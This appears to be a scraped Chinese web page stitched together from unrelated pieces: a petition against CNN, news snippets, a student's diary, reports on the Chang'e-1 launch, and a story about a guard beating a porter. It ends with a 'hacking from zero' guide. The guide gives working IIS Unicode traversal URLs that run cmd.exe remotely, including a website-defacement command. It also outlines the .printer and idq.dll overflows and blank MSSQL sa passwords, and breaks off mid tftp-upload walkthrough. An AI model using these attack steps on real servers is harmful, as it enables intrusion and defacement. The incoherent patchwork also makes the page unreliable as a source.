CNN恶意裁剪暴乱图片，极尽妖魔化中国之能事；评论员卡弗蒂口出妄言，充斥傲慢与偏见；CNN的声明挑拨中国人民与政府的感情，司马昭之心路人皆知。他们的所作所为让所有的中国人民以及全世界的所有华人深感愤怒，是时候发出我们的怒吼了——今天我郑重签下了我的名字，反对CNN不实报道，支持北京奥运。[查看详情]

我对这次签名活动的感想是：

据 网易新闻 报道： 如何成为一名真正的太空人

　　宇航员应该是一个英雄的职业，但如何能把自己培养成一名宇航员。查看全文>>

我对这条新闻的看法是：我不行了  ，明天叫我孩子去吧

据 网易新闻 报道： 图集：十大令人惊讶的怪诞青蛙

　　最早有跳跃动作的青蛙出现在侏罗纪。随着青蛙的不断进化，出现各种怪诞的青蛙，其中有的蛙类皮肤分泌毒液以防天敌，一剑封喉。查看全文>>

我对这条新闻的看法是：好恐怖呀

   春暖花开，又是一年过去了。我来西安已经快两年了，可我的生命在何方？

2006年，那是一个难忘的一年。高考失地，天真的我从家乡被骗到西安。（2006年在西安轰动一时的西工大受骗事件）

2006年，也是我无奈的一年。当年我一498分的成绩。被骗来西安，我想我当时在家乡读大专也好吧！

2006年，我们从家乡来到西安，来到古都，充满了希望。可现实是残酷的天下没有掉馅饼的。

2006年，我们从西工大办到外事，思源 。2007年我从外事出来了（因为高费问题），在来到县电子科技大学职教学院。在这两年里我看清了，自考的艰辛和无奈，自己学太苦 交费学学校不好好给上课。

下学年，我又能在哪？？？？

我前天买了一台电脑,哈哈.....   以后我就可以联系大家了.我有什么不懂得希望大家指导

据 网易新闻 报道： 东莞一咖啡店发生特大火灾 10死9伤

　　核心提示：12月12日17时7分，广东省东莞市樟木头镇怡安街名典西餐厅发生火灾。截至当晚20时，死亡10人，重伤1人，轻伤8人。查看全文>>

      尽管嫦娥一号卫星要经过１０多天的飞行才能进入工作轨道，但其携带的部分有效载荷（科学探测仪器）已于２５日晚７时许投入工作状态。

　　记者在设于中国科学院国家天文台的地面应用系统看到，工作人员发出指令，调动嫦娥一号携带的高能粒子探测器和有效载荷数据管理系统开始工作。高能粒子探测器将可以探测地球到月球之间４万公里到４０万公里的空间环境状况。分析这些数据对于在空间飞行的卫星和飞船具有重要价值。

　　为实现科学目标，嫦娥一号首次飞行任务共携带了８种有效载荷：ＣＣＤ立体相机、激光高度计、Ｘ射线谱仪，伽马射线谱仪、干涉成像光谱仪、微波探测仪、高能粒子探测器和太阳风离子探测器。

　　这８件星上探测设备均具有不同的“本领”，承担着各自重要的“职责”。其中，ＣＣＤ立体相机负责为月球“拍照”；干涉成像光谱仪获得有关月表主要物质类型及其分布的信息；激光高度计提供月球地形的高程数据；伽马/ Ｘ射线谱仪确定月球表面元素类型和资源分布，微波探测仪测量月壤的亮温温度，计算月壤厚度；高能粒子探测器——探测高能带电粒子的成分、能谱、通量和随时间的变化特征；太阳风离子探测器——探测原始太阳风离子的能谱，包括太阳风的体速度、离子温度等。（记者/吴晶）

　　备受瞩目的中国“嫦娥一号”绕月工程首发已定在10月下旬。十七大代表、国防科工委主任张庆伟16日说，绕月工程总体准备情况良好。现在卫星已经到了发射场，并完成了加注和测试。长征三号甲运载火箭也正在进行测试。箭、星已竖立在发射台上，星箭体间调试正在有条不紊进行中。

　　据南方日报报道，昨日（18日），记者在西昌卫星发射中心获悉，前天傍晚“嫦娥一号”卫星顺利完成了发射前的第三次总检查，估计在其发射前24小时，即火箭燃料推进剂加注前，将进行最后一次总检查。

资料图：中国“嫦娥一号”卫星效果图

　　奔月前要接受4次总检查

　　“大约下午3时多的时候，总检查就开始了。”一位工作人员向记者描述所见：发射台上，4个火箭支撑臂就像4只巨型爪子，牢牢固定住火箭。下午5时25分，原本闭合的回转平台徐徐开启；10多分钟后，被整流罩所包围的“嫦娥一号”及它所“乘坐”的长征三号甲火箭也渐渐露出银白色的“肌肤”；下午6时05分左右，火箭展露出全貌，箭头上画着一轮弯月，“航天探月”几个大字清晰可见。下午6时50分左右，历时约3个小时的第三次总检查宣布结束。

　　“嫦娥”比“神六”更纤细

　　据了解，在亮相前，“嫦娥一号”是装在卫星密封容器内的卫星吊装至火箭上，此后，工作人员脱掉“嫦娥”的第一件“外衣”——密封容器，再换上另一种“外衣”——整流罩。最后，才会完全现真容。

　　据工作人员描述，即将飞往广寒宫的“嫦娥”身躯金黄，两翼黑色、修长，尤其是在太阳光下会有金色的光环。“真的很漂亮，大家都像看到自己的孩子那样，那种感情，除了自豪，还有爱惜、感慨等等。”

　　据介绍，“嫦娥一号”卫星的外形与东方红三号卫星相似，为一个2．22米×1．72米×2．2米六面的立方体，和“神舟六号”飞船的重量、体积相比，“嫦娥一号”要小一号。卫星两侧各装有一个大型展开式太阳电池翼，当两侧太阳翼完全展开后，最大跨度可以达到18米。而当“嫦娥一号”从地球发射升空后，将先进入椭圆轨道，绕地球5－7圈。

　　群众撤离时可看露天电影

　　在卫星发射中心周围可以看到俊秀挺拔的树木和整片整片的山林，有很多人奇怪为什么发射过高、中、低各种轨道、不同射向的各类航天器后，这里还能郁郁葱葱。

　　对此，一位当地人告诉记者，主要有两个原因：一是由于发射航天器时都有导流槽，发射前里面都会装满水，发射时水就会吸收或稀释燃料燃烧产生的毒气；二是这里的“腐蚀”并没有外界所想像的“厉害”，由于中国的技术好，发射航天器时所产生的有害辐射范围大约在方圆几百平方米以内，加上并不是常常发射，因此有着天时地利人和的山沟里的植物反而会生长得好。

　　一名老百姓说，今天可能会召开疏散会议，确定“嫦娥一号”发射时的群众撤离范围。“每次我们都集中在一个地方看场露天电影。”

新华社北京10月26日电(记者田兆运、王玉山)26日17时33分，北京航天飞行控制中心向嫦娥一号卫星发出指令，开始实施第二次变轨。这是卫星的第一次近地点变轨。11分钟后，远望三号测量船传来消息，卫星变轨成功。     据北京航天飞行控制中心轨道室主任唐歌实介绍，这次变轨通过卫星上的发动机使卫星加速，从理论上讲，一次变轨就可以使卫星到达地月转移入口点，但为了充分利用燃料、有效发挥卫星发动机效能，同时也为了方便地面控制，所以设计了分3次在近地点进行变轨的方案。     嫦娥一号卫星在24小时轨道上运行3圈后，将实施第二次近地点变轨，使卫星进入48小时轨道。这次变轨控制预计在10月29日。     新华社远望三号10月26日电(记者王玉山)胜利完成嫦娥一号卫星发射段海上测控任务后，远望三号航天远洋测量船26日抵达新的测量海域，参加嫦娥一号卫星第一次近地点变轨的测控任务。     据随船出海的中国卫星海上测控部计划部部长费加兵介绍，远望三号测量船昼夜航行近千海里，跨过了国际日期变更线，从东半球进入了西半球。接下来，远望三号测量船将执行嫦娥一号卫星入轨后近地点的三次变轨的关键测控任务。     在近地点的第三次变轨尤为重要，卫星此时虽然还在绕地球飞行，但轨道已经开始与月球轨道交汇，卫星事实上已经开始向月球飞去。由于地月关系在不断变化，因此这次变轨将直接决定嫦娥一号卫星能否准确飞向快速运动着的月球。 ■链接 最远距地面7万多公里，飞行距离已超地月距离     新华社北京10月26日电(记者田兆运)26日17时44分，在嫦娥一号卫星成功进行了第二次变轨，进入24小时周期椭圆轨道。变轨12小时后，也就是27日5时30分左右，卫星将抵达距地面7万多公里的远地点，成为测控距离仅次于我国发射的探测一号卫星的航天飞行器。     北京跟踪与通信技术研究所测控专家、探月工程测控系统主任设计师张波介绍说，第一次远地点变轨时，卫星发动机点火时间只有130秒，而第二次变轨时，卫星发动机点火时间达到11分钟，使卫星获得了更大的推力，将远地点由5万多公里调整到7万多公里，卫星运行周期由16小时调整到24小时。     新华社北京10月26日电(记者田兆运)截至26日17时44分，嫦娥一号卫星实施第二次变轨进入24小时椭圆轨道。从入轨到实施这次变轨，卫星总计飞行389000多公里，超过了地球与月球之间的距离。卫星进入绕月轨道还有119万公里。这组数字是北京跟踪与通信技术研究所测控专家、探月工程测控系统主任设计师张波，26日晚向新华社记者介绍的。

三号火箭发射塔整装待命

　　“嫦娥一号”发射在即，昨晚，记者冒着淅淅沥沥的小雨赶到西昌。

　　今天上午，西昌上空依旧满布阴云，气温下降到了10摄氏度。当地司机告诉记者：“一周来西昌的天气几乎每天都是这样。”

　　下雨天没有问题

　　下雨天对“嫦娥一号”的发射是否会有影响？对此西昌卫星发射中心的一位工作人员告诉记者，下雨不会对发射造成影响，最主要的影响因素是云层是否带电。

　　据介绍，10月24日如因天气或火箭发射系统故障等原因，“嫦娥一号”将延迟至10月25日或26日发射。如果把这三天发射时间都错过了，只有到明年上半年才能发射。虽然有了预备发射日期，但无论是媒体还是基地的科研人员都确信：24日下午6时许将会如期发射卫星。

　　发射塔量身新建

　　今天上午，记者走入警戒森严的发射基地，迎面看到的是2号和3号 火箭发射塔。装载“嫦娥一号”卫星的长征3号B型火箭，将在80多米高的3号发射塔发射。

　　3号发射塔是去年12月30日专为发射“嫦娥一号”卫星建造的，原来的老3号塔于去年2月拆除，新塔建在老塔20米处，已试发了两枚卫星，情况良好。

　　火箭发射塔由移动架和固定架组成。与旧发射塔相比，新塔有两项绝技：一是蓝色的移动塔由过去发射火箭后水平移开固定塔，改为旋转180度移开，提高了速度和精度；二是塔上黄色杆管是我国为发射火箭专用的充电充气杆管，这样发射火箭就可以等火箭上架后再充电添加燃料，增加安全系数。

　　合练时模拟点火

　　在西昌卫星发射指控中心，有关工作人员表示，“22日星期一，我们将进行完全实战状态的合练。”

　　实战合练的时间将定在22日18时05分，届时所有工作人员、相关部门全部进入实战状态，“除了宣布点火我们不点火，卫星不上天以外，其他的与发射当天的情况完全一样。”该人士介绍，合练将按照实际时间操作，届时参观人员将在发射前2小时撤离发射中心；发射前1小时拉响警铃，工作人员撤离；发射前30分钟，全部人员进入安全区。同时，将模拟加注燃料、模拟点火，测控人员也会发出信号，即时测控。

　　西昌城挤满记者

　　在西昌城，“嫦娥奔月”几乎成了人们的口头禅，大家的情感似乎从来没有像现在这般为38万公里外的月亮牵挂。

　　最能让人直接感受这股热烈情感的莫过于挤爆全城的记者大军。

　　据了解，此次受邀来西昌卫星发射中心采访的中央及地方主要媒体的记者已达177人。而这个数字还不包括更多“不请自来”的记者。

　　昨天下午，组织游客观摩此次发射的西昌市内的旅行社工作人员告诉记者，据她估计，报名观摩发射的游客中起码有一半是来自各地的记者，“这还是保守的估计。”

　　西昌几家饭店从19日到25日都没有空房了，27日之前西昌往成都方向的飞机票、火车票都已被抢购一空。

　　特派记者吕剑波

　　(本报西昌今日上午电)

　　【相关链接】“嫦娥奔月”为何选在西昌

　　西昌发射基地位于西昌市冕宁县泽远乡沙坝沟，市区向西65公里处。

　　工作人员介绍，海拔、气温、日照、经纬度等条件好，加之大气中悬浮物质少，空气透明度大，所以这里的月亮又圆、又亮、又大，人称“月亮之城”。再加上平均海拔1500米，离赤道很近，可以充分利用地球自转的离心力，缩短地面到轨道的距离，所以这里是发射“嫦娥一号”的最佳地点。

最酷的BOSS 

网易首席运营官------董瑞豹 

花痴程度：★★★★ 

运营游戏：梦幻西游、大话西游II、大唐、天下 

虽然现在已经不怎么流行酷哥了，但这种又酷又帅身材又好的GG，还是，很有HC（花痴）的潜力啊~~~~听说最近单眼皮很受欢迎…快，给各位一张餐巾纸…做虾米用？当然素擦口水啦..... 

 本文来自ＴＯＭ论坛的　http://bbs.tom.com/users/userinfo.php?username=skype20071　　skype20071的文章

• 　　核心提示：重庆一网友在网上发了名为《史上最牛的保安》的帖子，帖子称，8月30日，一名搬运工在重庆江北观音桥步行街靠着橱窗撩衣休息时，因嫌他影响了城市市容，一保安前来制止，两人发生口角后，搬运工遭保安暴打。最后，受伤的搬运工只得拿上自己的那瓶水和扁担离开。

力哥撩衣休息影响市容？

擒拿，打飞，工作人员旁观。

踹。

暴力赶走力哥。

从橱窗玻璃可以看到一辆警车警灯的光。

门口纳凉站几分钟都不行？

南方网9月7日报道  拍摄时间：8月30日中午1时48分。修改时间：9月2日下午4时50分。出现在天涯社区重庆论坛时间：9月2日下午6时56分。重庆一保安殴打一名“力哥”(临时搬运工，俗称“棒棒”)的连续组照，就这样进入了公众视野。

衣衫不整影响市容？

“心碎快乐”是当天在天涯注册的一个ID，就只发了这一个帖：《史上最牛的保安》。帖子称，8月30日，一名“力哥”在江北观音桥步行街靠着橱窗撩衣休息时，因嫌他影响了城市市容，一保安前来制止，未果，两人发生口角，“力哥”最后遭打受伤。图片上，壮硕的保安踢打瘦小的“力哥”，扭打过程中，力哥甚至被甩得飞起来。力哥不支倒地后仍被保安连续踢了几脚。网友们还留意到一个令人心酸的细节：力哥无奈离开这个光鲜漂亮的玻璃橱窗时，不忘拿上自己的那瓶水和扁担。

网友们愤怒了，于是疯狂转帖。

有网友称曾看到当地报纸报道了此事，打人保安姓李，吉林省人，当过兵，20岁有余，在江北“未来国际”物管处当保安一年有多。“棒棒”姓吴，43岁，梁平县人，进主城当“棒棒”有5年“棒龄”。事后“未来国际”物管处陆经理在观音桥商圈治安派出所亲自给吴赔礼道歉，并赔付吴200元钱。本报就此向该报进行核实，对方称没有对此事进行过报道。派出所值班民警称当天不是他当班，不了解情况。“未来国际”的物管处办公室工作人员表示，经理确实姓陆，现在出差了。她没有听说经理曾有给人道歉和赔钱的事。

网友“爱国仇日”称事实是保安劝民工穿好上衣后，“民工素质低下”，骂保安是“看门狗”，才扭打起来的。

后门站几分钟都不行

也有网友猜测此事可能与力哥喜欢在商场门口纳凉有关。重庆是个夏天比较炎热的城市，辛苦的力哥往往会选择到附近冷气充足的商场门口纳凉，而今年8月，解放碑等地的商场和银行开始集体对力哥免费纳凉说“不”。据《重庆晚报》报道，来自铜梁的刘姓力哥称，各商场和银行，以往干完活还能吹吹风，喘口气，现在这项“福利”没了。闷热的天气下，几次搬重物都差点中暑。

40岁的力哥罗小林说，商场在做生意，我们也是做生意，在商场门口扎堆可能影响商场的营业，这个道理多数力哥都懂，也很自觉，一般在商场的后门站几分钟，或者在商场里走一圈，就会主动离开。为了这几分钟的纳凉权利，力哥们曾多次和商场保安发生争吵，甚至动手。

当时重庆媒体曾做过试验，记者在商场门口纳凉无人干涉，装扮成力哥后很快就会被赶走。当地八成网友反对商场的“歧视”。

那位力哥被打前一天，重庆发布了高温橙色预警。被打当天，重庆以37.3℃的气温雄居全国各主要城市榜首，用电量也创下重庆历史上最高纪录。

(本文来源：南方网 作者：谭人玮)

从零开始学黑客：网络黑客新手入门指南 （一）系统基本知识 　　1.a.什么是IP:要是真的想说清楚什么是IP，那是一项很繁重的工作。简单的来说IP就是所有Internet或是局域网上的主机的身份证。   所有网络的机器连接起来后，每台机器都会有一个唯一的合法的IP地址，一台机器和别的指定的机器通讯都要依据IP来实现的。IP地址的写法为XXX.XXX.XXX.XXX。有四段数字组成，第一段数字可为1-255,后三段数字可为0-255，且所有的IP地址分为A、B、C、D、E五类，主要是A、B、C三类。其有效范围如下表所示： 　　类别 网络号 主机号 　　 　　A 1～126 0～255 0～255 1～254 　　B 128～191 0～255 0～255 1～254 　　C 192～223 0～255 0～255 1～254 　　有关IP地址的问题可以查阅相关的资料，笔者在此就不再多耗笔墨了。呵呵~~~~~~~~~~~~~: p 　　 　　1.b.怎样得到自己和别人的IP呢？以Windows 98为例：在“开始”—“运行”里输入：winipcfg。接着，Windows就会打开“IP 配置”。其中，在“Ethernet 适配器信息”—“IP 地址”会显示xxx.xxx.xxx.xxx,这就是你的IP。要想得到别人的IP，可以使用一些工具软件，不过最简单的使用Windows自带的一个小程序ping.exe。在MS-DOS命令行下输入ping www.xxx.com。会出现： 　　C:>ping www.xxx.com 　　 　　Pinging www.xxx.com [xxx.xxx.xxx.xxx] with 32 bytes of data: 　　 　　Reply from xxx.xxx.xxx.xxx: bytes=32 time=630ms TTL=116 　　Reply from xxx.xxx.xxx.xxx: bytes=32 time=630ms TTL=116 　　Reply from xxx.xxx.xxx.xxx: bytes=32 time=120ms TTL=116 　　 　　Ping statistics for xxx.xxx.xxx.xxx: 　　Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), 　　Approximate round trip times in milli-seconds: 　　Minimum = 120ms, Maximum = 630ms, Average = 187ms 　　 　　其中：xxx.xxx.xxx.xxx 就是 http://www.xxx.com的网络服务器的IP地址。 　　 　　2.a.Unicode漏洞：“Unicode漏洞”是微软IIS的一个重大漏洞。2001年最热门漏洞之一。下面我们来简要介绍一下它的原理。 　　IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞，导致用户可以远程通过IIS执行任意命令。当IIS打开文件时，如果该文件名包含Unicode字符，它会对其进行解码，如果用户提供一些特殊的编码，将导致IIS错误的打开或者执行某些web根目录以外的文件。攻击者可以利用这个漏洞来绕过IIS的路径检查，去执行或者打开任意的文件。此漏洞从中文IIS4.0+SP6开始，还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1，台湾繁体中文也同样存在这样的漏洞。（Win NT4 编码为：%c1%9c ，Win2000 英文版 编码为：%c0%af） 　　 　　假设目标主机为英文版Winodows 2k，IP为xxx.xxx.xxx.xxx，且存在Unicode漏洞，那么我们在浏览器里输入： 　　http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir ，之后浏览器就会显示如下内容： 　　Directory of C:inetpubscripts 　　2002-02-08 15:49 〈DIR〉 . 　　2002-02-08 15:49 〈DIR〉 .. 　　2002-02-08 10:20 Index.html 　　2002-02-08 10:20 background.jpg 　　........................................ 　　从上面的测试可以看出："http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+"后就是DOS命令了："dir" 　　以此类推，我们可以利用浏览器远程执行任意命令，看下面的例子： 　　在浏览器里输入http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+md+d:Nature,运行后我们可以看到返回这样的结果： 　　 　　CGI Error 　　The specified CGI application misbehaved by not returning a complete 　　set of HTTP headers. The headers it did return are: 　　 　　英文意思是： 　　CGI错误 　　具体的CGI申请有误，不能返回完整的HTTP标题，返回的标题为： 　　但是，你其实仍然在目标主机的 D: 里建立了一个名为:Nature的文件夹。 　　 　　2.b.利用Unicode漏洞我们还可以简单的修改目标主机的WEB文件。一般情况下，我们要修改目标主机的web文件，常用到的方法是利用echo回显、管道工具“>” “>>”。如果你对这些命令不熟悉，可以键入以下命令以查看帮助文档，如： 　　C:>echo/? 　　显示信息，或将命令响应打开或关上。 　　ECHO [ON | OFF] 　　ECHO [message] 　　仅键入 ECHO 而不加参数，可以显示当前的 ECHO 设置。 　　 　　 　　管道工具“>” “>>” 的不同之处 　　“>”“>>”是将命令产生的输出重新定向,比如写到某个文件或输出到打印机中。 　　“>>”将产生的内容追加进文件中，“>”则将原文件内容覆盖。 　　 　　IIS加载程序检测到有cmd.exe或者command.com串就要检测特殊字符“&|(,;%<>”。如果发现有这些字符就会返回500错误，所以不能直接使用cmd.exe加管道符等。如果我们输入：http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+echo+内容+> d:cnhack.bat 　　我们可以看到提示: 　　 　　HTTP 500 - 内部服务器错误 　　Internet Explorer 　　 　　所以我们如果要echo和>的结合使用，就应该这样输入: http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd".exe?/c+echo+Hacked By Nature+> c:inetpubwwwrootindex.html (注意：这两个命令的区别是，后一个比前一个在cmd后多了一个"符号)，完成后看它的主页已经被修改成了：Hacked By Nature 了。其实只要我们弄懂这个漏洞的使用，仅仅使用IE，我们就可以“黑”掉一个网站咯！就这么简单！ 　　 　　3.idq.dll缓冲区溢出漏洞。作为安装过程的一部分，IIS 安装了几个 ISAPI 扩展 .dlls 。其中的 idq.dll 存在问题，它是 Index Server 的一个组件，对管理员脚本(.ida文件)和Internet数据查询 (.idq文件）提供支持。但是，idq.dll 在处理一段URL输入的代码中存在一个未经检查的缓冲区。攻击者利用此漏洞能导致受影响服务器产生缓冲区溢出，从而执行自己提供的代码。而更为严重的是，idq.dll 是以 SYSTEM 身份运行的，攻击者成功利用此漏洞后能取得系统管理员权限。(SYSTEM权限相当于超级管理员权限，很值得注意！)Windows 2k和NT都受到了不同程度的影响。 　　 　　4.IIS.printer漏洞（应用程序映射缓冲溢出）：这也是近期比较流行的漏洞，国内国外仍有N台机器存在此漏洞。 　　微软Windows 2000 IIS 5的打印ISAPI扩展接口建立了.printer扩展名到msw3prt.dll的映射关系，缺省情况下该映射存在。当远程用户提交对.printer的URL请求时，IIS 5调用msw3prt.dll解释该请求。由于msw3prt.dll缺乏足够的缓冲区边界检查，远程用户可以提交一个精心构造的针对.printer的URL请求，其"Host:"域包含大约420字节的数据，此时在msw3prt.dll中发生典型的缓冲区溢出，潜在允许执行任意代码。溢出发生后，WEB服务停止响应，Win 2K可以检查到WEB服务停止响应，从而自动重启它，因此系统管理员很难意识到发生过攻击。默认情况下，IIS 5.0服务器存在一个后缀为"printer"的应用程序映射，这个映射使用位于WINNTSystem32下的名为 msw3prt.dll 的动态库文件。这个功能是用于基于Web控制的网络打印的，是Windows2000为Internet Printing Protocol(IPP)协议而设置的应用程序功能。不幸的是，这个映射存在一个缓冲区溢出错误，可以导致inetinfo.exe出错，允许黑客通过web获取服务器的管理权限，黑客制造一个 .printer 的ISAPI请求，当Http host参数的值达到420个字符时，就会发生缓冲区溢出： 　　 　　 　　GET /NULL.printer HTTP/1.0 　　Host: [buffer] <---------------------------------当上述 [buffer]值的字符数目达到420时，缓冲区溢出。这时,Web服务器会停止响应 　　 　　Windows2000操作系统发现Web异常停止后，会自动重启。通过构造包含适当的Shell Code的脚本， 黑客可以以system用户的身份，不停地远程通过web执行任何指令。这个漏洞的危害比IISHACK更大，原因是由于IIS4.0不自动重启的原因，用IIShack黑客只能获得一次Shell，而通过这个漏洞，黑客可以不停地利用。目前Internet上已经有了针对这个漏洞的exploit程序，可以绑定系统的cmd.exe程序，从而自由地执行指令。 　　 　　5.MSSQL空密码漏洞：SQL服务器是一个非常强大的数据库。当然，这么庞大的程序漏洞也不少。超级管理员sa的默认密码为空，就是一个重大漏洞。SQL Server是运行于NT平台上的数据库，通常采用IIS作为网络服务器的NT服务器均采用SQL服务器作为数据库服务器。SQL服务器目前最高的版本是2000，但是通常比较常见的是6.5和7.0（包括SP1）。SQL服务器如果配置不当，将对NT系统本身造成很大的危害，在一般情况下都可以直接获得超级用户的权限。SQL 2000以前的版本在默认安装时的密码均为空，如果在安装的时候没有及时修改密码，无疑是为Windows NT系统打开了一道后门。 　　 　　有关于系统漏洞的知识就先讲到这里。下面我们来看看怎么在实战中取得胜利，就是要动手干了啊！OK，Let's Go! 　　 　　(二)实战演练阶段 　　1.Unicode漏洞实战篇 　　还记得我们在第一部分介绍的Unicode漏洞吗？可别告诉你没有什么印象啊！呵呵，我们就先来看看利用Unicode漏洞和tftp来上传文件的方法。也许你会问，什么是tftp呢？简单来说，tftp 就是让你的电脑变成一台服务器，让目标主机来下载你的文件，这样就可以达到上传的目的。在运行tftp32.exe之前，建议关闭其他FTP服务器，保持tftpd运行，这时你的机器已经是一个FTP服